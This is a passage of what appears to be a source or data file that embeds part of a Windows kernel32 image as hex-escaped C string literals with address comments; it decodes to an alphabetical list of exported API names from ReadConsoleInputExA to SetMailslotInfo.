InputExA.ReadCon\n/* 7C807B50 */ \"\\x73\\x6F\\x6C\\x65\\x49\\x6E\\x70\\x75\\x74\\x45\\x78\\x57\\x00\\x52\\x65\\x61\" // soleInputExW.Rea\n/* 7C807B60 */ \"\\x64\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x6E\\x70\\x75\\x74\\x57\\x00\\x52\" // dConsoleInputW.R\n/* 7C807B70 */ \"\\x65\\x61\\x64\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4F\\x75\\x74\\x70\\x75\\x74\" // eadConsoleOutput\n/* 7C807B80 */ \"\\x41\\x00\\x52\\x65\\x61\\x64\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4F\\x75\\x74\" // A.ReadConsoleOut\n/* 7C807B90 */ \"\\x70\\x75\\x74\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x00\\x52\\x65\\x61\" // putAttribute.Rea\n/* 7C807BA0 */ \"\\x64\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4F\\x75\\x74\\x70\\x75\\x74\\x43\\x68\" // dConsoleOutputCh\n/* 7C807BB0 */ \"\\x61\\x72\\x61\\x63\\x74\\x65\\x72\\x41\\x00\\x52\\x65\\x61\\x64\\x43\\x6F\\x6E\" // aracterA.ReadCon\n/* 7C807BC0 */ \"\\x73\\x6F\\x6C\\x65\\x4F\\x75\\x74\\x70\\x75\\x74\\x43\\x68\\x61\\x72\\x61\\x63\" // soleOutputCharac\n/* 7C807BD0 */ \"\\x74\\x65\\x72\\x57\\x00\\x52\\x65\\x61\\x64\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\" // terW.ReadConsole\n/* 7C807BE0 */ \"\\x4F\\x75\\x74\\x70\\x75\\x74\\x57\\x00\\x52\\x65\\x61\\x64\\x43\\x6F\\x6E\\x73\" // OutputW.ReadCons\n/* 7C807BF0 */ \"\\x6F\\x6C\\x65\\x57\\x00\\x52\\x65\\x61\\x64\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\" // oleW.ReadDirecto\n/* 7C807C00 */ \"\\x72\\x79\\x43\\x68\\x61\\x6E\\x67\\x65\\x73\\x57\\x00\\x52\\x65\\x61\\x64\\x46\" // ryChangesW.ReadF\n/* 7C807C10 */ \"\\x69\\x6C\\x65\\x00\\x52\\x65\\x61\\x64\\x46\\x69\\x6C\\x65\\x45\\x78\\x00\\x52\" // ile.ReadFileEx.R\n/* 7C807C20 */ \"\\x65\\x61\\x64\\x46\\x69\\x6C\\x65\\x53\\x63\\x61\\x74\\x74\\x65\\x72\\x00\\x52\" // eadFileScatter.R\n/* 7C807C30 */ \"\\x65\\x61\\x64\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x4D\\x65\\x6D\\x6F\\x72\\x79\" // eadProcessMemory\n/* 7C807C40 */ \"\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\" // .RegisterConsole\n/* 7C807C50 */ \"\\x49\\x4D\\x45\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\\x6F\\x6E\\x73\" // IME.RegisterCons\n/* 7C807C60 */ \"\\x6F\\x6C\\x65\\x4F\\x53\\x32\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x43\" // oleOS2.RegisterC\n/* 7C807C70 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x56\\x44\\x4D\\x00\\x52\\x65\\x67\\x69\\x73\\x74\" // onsoleVDM.Regist\n/* 7C807C80 */ \"\\x65\\x72\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x49\\x6E\\x70\\x75\\x74\\x49\\x64\" // erWaitForInputId\n/* 7C807C90 */ \"\\x6C\\x65\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x57\\x61\\x69\\x74\\x46\" // le.RegisterWaitF\n/* 7C807CA0 */ \"\\x6F\\x72\\x53\\x69\\x6E\\x67\\x6C\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x52\" // orSingleObject.R\n/* 7C807CB0 */ \"\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x57\\x61\\x69\\x74\\x46\\x6F\\x72\\x53\\x69\" // egisterWaitForSi\n/* 7C807CC0 */ \"\\x6E\\x67\\x6C\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x45\\x78\\x00\\x52\\x65\\x67\" // ngleObjectEx.Reg\n/* 7C807CD0 */ \"\\x69\\x73\\x74\\x65\\x72\\x57\\x6F\\x77\\x42\\x61\\x73\\x65\\x48\\x61\\x6E\\x64\" // isterWowBaseHand\n/* 7C807CE0 */ \"\\x6C\\x65\\x72\\x73\\x00\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x57\\x6F\\x77\" // lers.RegisterWow\n/* 7C807CF0 */ \"\\x45\\x78\\x65\\x63\\x00\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x41\\x63\\x74\\x43\" // Exec.ReleaseActC\n/* 7C807D00 */ \"\\x74\\x78\\x00\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x4D\\x75\\x74\\x65\\x78\\x00\" // tx.ReleaseMutex.\n/* 7C807D10 */ \"\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x53\\x65\\x6D\\x61\\x70\\x68\\x6F\\x72\\x65\" // ReleaseSemaphore\n/* 7C807D20 */ \"\\x00\\x52\\x65\\x6D\\x6F\\x76\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\" // .RemoveDirectory\n/* 7C807D30 */ \"\\x41\\x00\\x52\\x65\\x6D\\x6F\\x76\\x65\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\" // A.RemoveDirector\n/* 7C807D40 */ \"\\x79\\x57\\x00\\x52\\x65\\x6D\\x6F\\x76\\x65\\x4C\\x6F\\x63\\x61\\x6C\\x41\\x6C\" // yW.RemoveLocalAl\n/* 7C807D50 */ \"\\x74\\x65\\x72\\x6E\\x61\\x74\\x65\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\" // ternateComputerN\n/* 7C807D60 */ \"\\x61\\x6D\\x65\\x41\\x00\\x52\\x65\\x6D\\x6F\\x76\\x65\\x4C\\x6F\\x63\\x61\\x6C\" // ameA.RemoveLocal\n/* 7C807D70 */ \"\\x41\\x6C\\x74\\x65\\x72\\x6E\\x61\\x74\\x65\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\" // AlternateCompute\n/* 7C807D80 */ \"\\x72\\x4E\\x61\\x6D\\x65\\x57\\x00\\x52\\x65\\x6D\\x6F\\x76\\x65\\x56\\x65\\x63\" // rNameW.RemoveVec\n/* 7C807D90 */ \"\\x74\\x6F\\x72\\x65\\x64\\x45\\x78\\x63\\x65\\x70\\x74\\x69\\x6F\\x6E\\x48\\x61\" // toredExceptionHa\n/* 7C807DA0 */ \"\\x6E\\x64\\x6C\\x65\\x72\\x00\\x52\\x65\\x70\\x6C\\x61\\x63\\x65\\x46\\x69\\x6C\" // ndler.ReplaceFil\n/* 7C807DB0 */ \"\\x65\\x00\\x52\\x65\\x70\\x6C\\x61\\x63\\x65\\x46\\x69\\x6C\\x65\\x41\\x00\\x52\" // e.ReplaceFileA.R\n/* 7C807DC0 */ \"\\x65\\x70\\x6C\\x61\\x63\\x65\\x46\\x69\\x6C\\x65\\x57\\x00\\x52\\x65\\x71\\x75\" // eplaceFileW.Requ\n/* 7C807DD0 */ \"\\x65\\x73\\x74\\x44\\x65\\x76\\x69\\x63\\x65\\x57\\x61\\x6B\\x65\\x75\\x70\\x00\" // estDeviceWakeup.\n/* 7C807DE0 */ \"\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x57\\x61\\x6B\\x65\\x75\\x70\\x4C\\x61\\x74\" // RequestWakeupLat\n/* 7C807DF0 */ \"\\x65\\x6E\\x63\\x79\\x00\\x52\\x65\\x73\\x65\\x74\\x45\\x76\\x65\\x6E\\x74\\x00\" // ency.ResetEvent.\n/* 7C807E00 */ \"\\x52\\x65\\x73\\x65\\x74\\x57\\x72\\x69\\x74\\x65\\x57\\x61\\x74\\x63\\x68\\x00\" // ResetWriteWatch.\n/* 7C807E10 */ \"\\x52\\x65\\x73\\x74\\x6F\\x72\\x65\\x4C\\x61\\x73\\x74\\x45\\x72\\x72\\x6F\\x72\" // RestoreLastError\n/* 7C807E20 */ \"\\x00\\x52\\x65\\x73\\x75\\x6D\\x65\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x52\\x74\" // .ResumeThread.Rt\n/* 7C807E30 */ \"\\x6C\\x43\\x61\\x70\\x74\\x75\\x72\\x65\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\" // lCaptureContext.\n/* 7C807E40 */ \"\\x52\\x74\\x6C\\x43\\x61\\x70\\x74\\x75\\x72\\x65\\x53\\x74\\x61\\x63\\x6B\\x42\" // RtlCaptureStackB\n/* 7C807E50 */ \"\\x61\\x63\\x6B\\x54\\x72\\x61\\x63\\x65\\x00\\x52\\x74\\x6C\\x46\\x69\\x6C\\x6C\" // ackTrace.RtlFill\n/* 7C807E60 */ \"\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x52\\x74\\x6C\\x4D\\x6F\\x76\\x65\\x4D\\x65\" // Memory.RtlMoveMe\n/* 7C807E70 */ \"\\x6D\\x6F\\x72\\x79\\x00\\x52\\x74\\x6C\\x55\\x6E\\x77\\x69\\x6E\\x64\\x00\\x52\" // mory.RtlUnwind.R\n/* 7C807E80 */ \"\\x74\\x6C\\x5A\\x65\\x72\\x6F\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x00\\x53\\x63\\x72\" // tlZeroMemory.Scr\n/* 7C807E90 */ \"\\x6F\\x6C\\x6C\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x53\\x63\\x72\\x65\\x65\\x6E\" // ollConsoleScreen\n/* 7C807EA0 */ \"\\x42\\x75\\x66\\x66\\x65\\x72\\x41\\x00\\x53\\x63\\x72\\x6F\\x6C\\x6C\\x43\\x6F\" // BufferA.ScrollCo\n/* 7C807EB0 */ \"\\x6E\\x73\\x6F\\x6C\\x65\\x53\\x63\\x72\\x65\\x65\\x6E\\x42\\x75\\x66\\x66\\x65\" // nsoleScreenBuffe\n/* 7C807EC0 */ \"\\x72\\x57\\x00\\x53\\x65\\x61\\x72\\x63\\x68\\x50\\x61\\x74\\x68\\x41\\x00\\x53\" // rW.SearchPathA.S\n/* 7C807ED0 */ \"\\x65\\x61\\x72\\x63\\x68\\x50\\x61\\x74\\x68\\x57\\x00\\x53\\x65\\x74\\x43\\x50\" // earchPathW.SetCP\n/* 7C807EE0 */ \"\\x47\\x6C\\x6F\\x62\\x61\\x6C\\x00\\x53\\x65\\x74\\x43\\x61\\x6C\\x65\\x6E\\x64\" // Global.SetCalend\n/* 7C807EF0 */ \"\\x61\\x72\\x49\\x6E\\x66\\x6F\\x41\\x00\\x53\\x65\\x74\\x43\\x61\\x6C\\x65\\x6E\" // arInfoA.SetCalen\n/* 7C807F00 */ \"\\x64\\x61\\x72\\x49\\x6E\\x66\\x6F\\x57\\x00\\x53\\x65\\x74\\x43\\x6C\\x69\\x65\" // darInfoW.SetClie\n/* 7C807F10 */ \"\\x6E\\x74\\x54\\x69\\x6D\\x65\\x5A\\x6F\\x6E\\x65\\x49\\x6E\\x66\\x6F\\x72\\x6D\" // ntTimeZoneInform\n/* 7C807F20 */ \"\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x65\\x74\\x43\\x6F\\x6D\\x50\\x6C\\x75\\x73\" // ation.SetComPlus\n/* 7C807F30 */ \"\\x50\\x61\\x63\\x6B\\x61\\x67\\x65\\x49\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x53\\x74\" // PackageInstallSt\n/* 7C807F40 */ \"\\x61\\x74\\x75\\x73\\x00\\x53\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x42\\x72\\x65\\x61\" // atus.SetCommBrea\n/* 7C807F50 */ \"\\x6B\\x00\\x53\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x43\\x6F\\x6E\\x66\\x69\\x67\\x00\" // k.SetCommConfig.\n/* 7C807F60 */ \"\\x53\\x65\\x74\\x43\\x6F\\x6D\\x6D\\x4D\\x61\\x73\\x6B\\x00\\x53\\x65\\x74\\x43\" // SetCommMask.SetC\n/* 7C807F70 */ \"\\x6F\\x6D\\x6D\\x53\\x74\\x61\\x74\\x65\\x00\\x53\\x65\\x74\\x43\\x6F\\x6D\\x6D\" // ommState.SetComm\n/* 7C807F80 */ \"\\x54\\x69\\x6D\\x65\\x6F\\x75\\x74\\x73\\x00\\x53\\x65\\x74\\x43\\x6F\\x6D\\x70\" // Timeouts.SetComp\n/* 7C807F90 */ \"\\x75\\x74\\x65\\x72\\x4E\\x61\\x6D\\x65\\x41\\x00\\x53\\x65\\x74\\x43\\x6F\\x6D\" // uterNameA.SetCom\n/* 7C807FA0 */ \"\\x70\\x75\\x74\\x65\\x72\\x4E\\x61\\x6D\\x65\\x45\\x78\\x41\\x00\\x53\\x65\\x74\" // puterNameExA.Set\n/* 7C807FB0 */ \"\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\\x61\\x6D\\x65\\x45\\x78\\x57\\x00\" // ComputerNameExW.\n/* 7C807FC0 */ \"\\x53\\x65\\x74\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\\x61\\x6D\\x65\\x57\" // SetComputerNameW\n/* 7C807FD0 */ \"\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x41\\x63\\x74\\x69\\x76\" // .SetConsoleActiv\n/* 7C807FE0 */ \"\\x65\\x53\\x63\\x72\\x65\\x65\\x6E\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x53\\x65\" // eScreenBuffer.Se\n/* 7C807FF0 */ \"\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x50\\x00\\x53\\x65\\x74\\x43\\x6F\" // tConsoleCP.SetCo\n/* 7C808000 */ \"\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x48\\x69\\x73\\x74\" // nsoleCommandHist\n/* 7C808010 */ \"\\x6F\\x72\\x79\\x4D\\x6F\\x64\\x65\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\" // oryMode.SetConso\n/* 7C808020 */ \"\\x6C\\x65\\x43\\x74\\x72\\x6C\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x00\\x53\\x65\" // leCtrlHandler.Se\n/* 7C808030 */ \"\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x75\\x72\\x73\\x6F\\x72\\x00\\x53\" // tConsoleCursor.S\n/* 7C808040 */ \"\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x75\\x72\\x73\\x6F\\x72\\x49\" // etConsoleCursorI\n/* 7C808050 */ \"\\x6E\\x66\\x6F\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x43\\x75\" // nfo.SetConsoleCu\n/* 7C808060 */ \"\\x72\\x73\\x6F\\x72\\x4D\\x6F\\x64\\x65\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\" // rsorMode.SetCons\n/* 7C808070 */ \"\\x6F\\x6C\\x65\\x43\\x75\\x72\\x73\\x6F\\x72\\x50\\x6F\\x73\\x69\\x74\\x69\\x6F\" // oleCursorPositio\n/* 7C808080 */ \"\\x6E\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x44\\x69\\x73\\x70\" // n.SetConsoleDisp\n/* 7C808090 */ \"\\x6C\\x61\\x79\\x4D\\x6F\\x64\\x65\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\" // layMode.SetConso\n/* 7C8080A0 */ \"\\x6C\\x65\\x46\\x6F\\x6E\\x74\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\" // leFont.SetConsol\n/* 7C8080B0 */ \"\\x65\\x48\\x61\\x72\\x64\\x77\\x61\\x72\\x65\\x53\\x74\\x61\\x74\\x65\\x00\\x53\" // eHardwareState.S\n/* 7C8080C0 */ \"\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x63\\x6F\\x6E\\x00\\x53\\x65\" // etConsoleIcon.Se\n/* 7C8080D0 */ \"\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x49\\x6E\\x70\\x75\\x74\\x45\\x78\\x65\" // tConsoleInputExe\n/* 7C8080E0 */ \"\\x4E\\x61\\x6D\\x65\\x41\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\" // NameA.SetConsole\n/* 7C8080F0 */ \"\\x49\\x6E\\x70\\x75\\x74\\x45\\x78\\x65\\x4E\\x61\\x6D\\x65\\x57\\x00\\x53\\x65\" // InputExeNameW.Se\n/* 7C808100 */ \"\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4B\\x65\\x79\\x53\\x68\\x6F\\x72\\x74\" // tConsoleKeyShort\n/* 7C808110 */ \"\\x63\\x75\\x74\\x73\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4C\" // cuts.SetConsoleL\n/* 7C808120 */ \"\\x6F\\x63\\x61\\x6C\\x45\\x55\\x44\\x43\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\" // ocalEUDC.SetCons\n/* 7C808130 */ \"\\x6F\\x6C\\x65\\x4D\\x61\\x78\\x69\\x6D\\x75\\x6D\\x57\\x69\\x6E\\x64\\x6F\\x77\" // oleMaximumWindow\n/* 7C808140 */ \"\\x53\\x69\\x7A\\x65\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4D\" // Size.SetConsoleM\n/* 7C808150 */ \"\\x65\\x6E\\x75\\x43\\x6C\\x6F\\x73\\x65\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\" // enuClose.SetCons\n/* 7C808160 */ \"\\x6F\\x6C\\x65\\x4D\\x6F\\x64\\x65\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\" // oleMode.SetConso\n/* 7C808170 */ \"\\x6C\\x65\\x4E\\x6C\\x73\\x4D\\x6F\\x64\\x65\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\" // leNlsMode.SetCon\n/* 7C808180 */ \"\\x73\\x6F\\x6C\\x65\\x4E\\x75\\x6D\\x62\\x65\\x72\\x4F\\x66\\x43\\x6F\\x6D\\x6D\" // soleNumberOfComm\n/* 7C808190 */ \"\\x61\\x6E\\x64\\x73\\x41\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\" // andsA.SetConsole\n/* 7C8081A0 */ \"\\x4E\\x75\\x6D\\x62\\x65\\x72\\x4F\\x66\\x43\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x73\" // NumberOfCommands\n/* 7C8081B0 */ \"\\x57\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x4F\\x53\\x32\\x4F\" // W.SetConsoleOS2O\n/* 7C8081C0 */ \"\\x65\\x6D\\x46\\x6F\\x72\\x6D\\x61\\x74\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\" // emFormat.SetCons\n/* 7C8081D0 */ \"\\x6F\\x6C\\x65\\x4F\\x75\\x74\\x70\\x75\\x74\\x43\\x50\\x00\\x53\\x65\\x74\\x43\" // oleOutputCP.SetC\n/* 7C8081E0 */ \"\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x50\\x61\\x6C\\x65\\x74\\x74\\x65\\x00\\x53\\x65\" // onsolePalette.Se\n/* 7C8081F0 */ \"\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x53\\x63\\x72\\x65\\x65\\x6E\\x42\\x75\" // tConsoleScreenBu\n/* 7C808200 */ \"\\x66\\x66\\x65\\x72\\x53\\x69\\x7A\\x65\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\" // fferSize.SetCons\n/* 7C808210 */ \"\\x6F\\x6C\\x65\\x54\\x65\\x78\\x74\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\" // oleTextAttribute\n/* 7C808220 */ \"\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x54\\x69\\x74\\x6C\\x65\" // .SetConsoleTitle\n/* 7C808230 */ \"\\x41\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x54\\x69\\x74\\x6C\" // A.SetConsoleTitl\n/* 7C808240 */ \"\\x65\\x57\\x00\\x53\\x65\\x74\\x43\\x6F\\x6E\\x73\\x6F\\x6C\\x65\\x57\\x69\\x6E\" // eW.SetConsoleWin\n/* 7C808250 */ \"\\x64\\x6F\\x77\\x49\\x6E\\x66\\x6F\\x00\\x53\\x65\\x74\\x43\\x72\\x69\\x74\\x69\" // dowInfo.SetCriti\n/* 7C808260 */ \"\\x63\\x61\\x6C\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x53\\x70\\x69\\x6E\\x43\\x6F\" // calSectionSpinCo\n/* 7C808270 */ \"\\x75\\x6E\\x74\\x00\\x53\\x65\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x44\\x69\" // unt.SetCurrentDi\n/* 7C808280 */ \"\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x41\\x00\\x53\\x65\\x74\\x43\\x75\\x72\\x72\" // rectoryA.SetCurr\n/* 7C808290 */ \"\\x65\\x6E\\x74\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x57\\x00\\x53\\x65\" // entDirectoryW.Se\n/* 7C8082A0 */ \"\\x74\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x43\\x6F\\x6D\\x6D\\x43\\x6F\\x6E\\x66\" // tDefaultCommConf\n/* 7C8082B0 */ \"\\x69\\x67\\x41\\x00\\x53\\x65\\x74\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x43\\x6F\" // igA.SetDefaultCo\n/* 7C8082C0 */ \"\\x6D\\x6D\\x43\\x6F\\x6E\\x66\\x69\\x67\\x57\\x00\\x53\\x65\\x74\\x44\\x6C\\x6C\" // mmConfigW.SetDll\n/* 7C8082D0 */ \"\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x41\\x00\\x53\\x65\\x74\\x44\\x6C\" // DirectoryA.SetDl\n/* 7C8082E0 */ \"\\x6C\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x57\\x00\\x53\\x65\\x74\\x45\" // lDirectoryW.SetE\n/* 7C8082F0 */ \"\\x6E\\x64\\x4F\\x66\\x46\\x69\\x6C\\x65\\x00\\x53\\x65\\x74\\x45\\x6E\\x76\\x69\" // ndOfFile.SetEnvi\n/* 7C808300 */ \"\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\\x61\\x72\\x69\\x61\\x62\\x6C\\x65\\x41\" // ronmentVariableA\n/* 7C808310 */ \"\\x00\\x53\\x65\\x74\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\" // .SetEnvironmentV\n/* 7C808320 */ \"\\x61\\x72\\x69\\x61\\x62\\x6C\\x65\\x57\\x00\\x53\\x65\\x74\\x45\\x72\\x72\\x6F\" // ariableW.SetErro\n/* 7C808330 */ \"\\x72\\x4D\\x6F\\x64\\x65\\x00\\x53\\x65\\x74\\x45\\x76\\x65\\x6E\\x74\\x00\\x53\" // rMode.SetEvent.S\n/* 7C808340 */ \"\\x65\\x74\\x46\\x69\\x6C\\x65\\x41\\x70\\x69\\x73\\x54\\x6F\\x41\\x4E\\x53\\x49\" // etFileApisToANSI\n/* 7C808350 */ \"\\x00\\x53\\x65\\x74\\x46\\x69\\x6C\\x65\\x41\\x70\\x69\\x73\\x54\\x6F\\x4F\\x45\" // .SetFileApisToOE\n/* 7C808360 */ \"\\x4D\\x00\\x53\\x65\\x74\\x46\\x69\\x6C\\x65\\x41\\x74\\x74\\x72\\x69\\x62\\x75\" // M.SetFileAttribu\n/* 7C808370 */ \"\\x74\\x65\\x73\\x41\\x00\\x53\\x65\\x74\\x46\\x69\\x6C\\x65\\x41\\x74\\x74\\x72\" // tesA.SetFileAttr\n/* 7C808380 */ \"\\x69\\x62\\x75\\x74\\x65\\x73\\x57\\x00\\x53\\x65\\x74\\x46\\x69\\x6C\\x65\\x50\" // ibutesW.SetFileP\n/* 7C808390 */ \"\\x6F\\x69\\x6E\\x74\\x65\\x72\\x00\\x53\\x65\\x74\\x46\\x69\\x6C\\x65\\x50\\x6F\" // ointer.SetFilePo\n/* 7C8083A0 */ \"\\x69\\x6E\\x74\\x65\\x72\\x45\\x78\\x00\\x53\\x65\\x74\\x46\\x69\\x6C\\x65\\x53\" // interEx.SetFileS\n/* 7C8083B0 */ \"\\x68\\x6F\\x72\\x74\\x4E\\x61\\x6D\\x65\\x41\\x00\\x53\\x65\\x74\\x46\\x69\\x6C\" // hortNameA.SetFil\n/* 7C8083C0 */ \"\\x65\\x53\\x68\\x6F\\x72\\x74\\x4E\\x61\\x6D\\x65\\x57\\x00\\x53\\x65\\x74\\x46\" // eShortNameW.SetF\n/* 7C8083D0 */ \"\\x69\\x6C\\x65\\x54\\x69\\x6D\\x65\\x00\\x53\\x65\\x74\\x46\\x69\\x6C\\x65\\x56\" // ileTime.SetFileV\n/* 7C8083E0 */ \"\\x61\\x6C\\x69\\x64\\x44\\x61\\x74\\x61\\x00\\x53\\x65\\x74\\x46\\x69\\x72\\x6D\" // alidData.SetFirm\n/* 7C8083F0 */ \"\\x77\\x61\\x72\\x65\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\" // wareEnvironmentV\n/* 7C808400 */ \"\\x61\\x72\\x69\\x61\\x62\\x6C\\x65\\x41\\x00\\x53\\x65\\x74\\x46\\x69\\x72\\x6D\" // ariableA.SetFirm\n/* 7C808410 */ \"\\x77\\x61\\x72\\x65\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x56\" // wareEnvironmentV\n/* 7C808420 */ \"\\x61\\x72\\x69\\x61\\x62\\x6C\\x65\\x57\\x00\\x53\\x65\\x74\\x48\\x61\\x6E\\x64\" // ariableW.SetHand\n/* 7C808430 */ \"\\x6C\\x65\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x00\\x53\\x65\\x74\\x48\\x61\\x6E\" // leContext.SetHan\n/* 7C808440 */ \"\\x64\\x6C\\x65\\x43\\x6F\\x75\\x6E\\x74\\x00\\x53\\x65\\x74\\x48\\x61\\x6E\\x64\" // dleCount.SetHand\n/* 7C808450 */ \"\\x6C\\x65\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x65\" // leInformation.Se\n/* 7C808460 */ \"\\x74\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x4A\\x6F\\x62\\x4F\" // tInformationJobO\n/* 7C808470 */ \"\\x62\\x6A\\x65\\x63\\x74\\x00\\x53\\x65\\x74\\x4C\\x61\\x73\\x74\\x43\\x6F\\x6E\" // bject.SetLastCon\n/* 7C808480 */ \"\\x73\\x6F\\x6C\\x65\\x45\\x76\\x65\\x6E\\x74\\x41\\x63\\x74\\x69\\x76\\x65\\x00\" // soleEventActive.\n/* 7C808490 */ \"\\x53\\x65\\x74\\x4C\\x61\\x73\\x74\\x45\\x72\\x72\\x6F\\x72\\x00\\x53\\x65\\x74\" // SetLastError.Set\n/* 7C8084A0 */ \"\\x4C\\x6F\\x63\\x61\\x6C\\x50\\x72\\x69\\x6D\\x61\\x72\\x79\\x43\\x6F\\x6D\\x70\" // LocalPrimaryComp\n/* 7C8084B0 */ \"\\x75\\x74\\x65\\x72\\x4E\\x61\\x6D\\x65\\x41\\x00\\x53\\x65\\x74\\x4C\\x6F\\x63\" // uterNameA.SetLoc\n/* 7C8084C0 */ \"\\x61\\x6C\\x50\\x72\\x69\\x6D\\x61\\x72\\x79\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\" // alPrimaryCompute\n/* 7C8084D0 */ \"\\x72\\x4E\\x61\\x6D\\x65\\x57\\x00\\x53\\x65\\x74\\x4C\\x6F\\x63\\x61\\x6C\\x54\" // rNameW.SetLocalT\n/* 7C8084E0 */ \"\\x69\\x6D\\x65\\x00\\x53\\x65\\x74\\x4C\\x6F\\x63\\x61\\x6C\\x65\\x49\\x6E\\x66\" // ime.SetLocaleInf\n/* 7C8084F0 */ \"\\x6F\\x41\\x00\\x53\\x65\\x74\\x4C\\x6F\\x63\\x61\\x6C\\x65\\x49\\x6E\\x66\\x6F\" // oA.SetLocaleInfo\n/* 7C808500 */ \"\\x57\\x00\\x53\\x65\\x74\\x4D\\x61\\x69\\x6C\\x73\\x6C\\x6F\\x74\\x49\\x6E\\x66\" // W.SetMailslotInf\n/* 7C808510 */ 